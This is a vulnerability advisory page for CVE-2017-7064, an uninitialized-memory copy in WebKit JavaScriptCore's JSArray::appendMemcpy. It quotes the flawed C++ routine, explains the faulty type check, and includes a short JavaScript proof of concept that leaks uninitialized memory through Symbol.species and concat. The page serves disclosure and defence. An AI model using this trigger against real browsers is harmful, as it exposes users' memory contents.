WebKit JSC JSArray::appendMemcpy Uninitialized Memory Copy

2017.07.25
Credit: lokihardt
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy CVE-2017-7064 WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy Here's a snippet of JSArray::appendMemcpy. bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray) { auto scope = DECLARE_THROW_SCOPE(vm); if (!canFastCopy(vm, otherArray)) return false; IndexingType type = indexingType(); IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType()); if (type == ArrayWithUndecided && copyType != NonArray) { if (copyType == ArrayWithInt32) convertUndecidedToInt32(vm); else if (copyType == ArrayWithDouble) convertUndecidedToDouble(vm); else if (copyType == ArrayWithContiguous) convertUndecidedToContiguous(vm); else { ASSERT(copyType == ArrayWithUndecided); return true; } } else if (type != copyType) return false; ... if (type == ArrayWithDouble) memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength); else memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); return true; } The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data. So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type. PoC: function optNewArrayAndConcat() { let a = [,,,,,,,,,]; return Array.prototype.concat.apply(a); } function main() { Array.prototype.constructor = { [Symbol.species]: function () { return [{}]; } }; gc(); for (let i = 0; i < 0x10000; i++) { optNewArrayAndConcat().fill({}); } gc(); for (let i = 0; i < 0x20000; i++) { let res = optNewArrayAndConcat(); if (res[0]) print(res.toString()); } } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top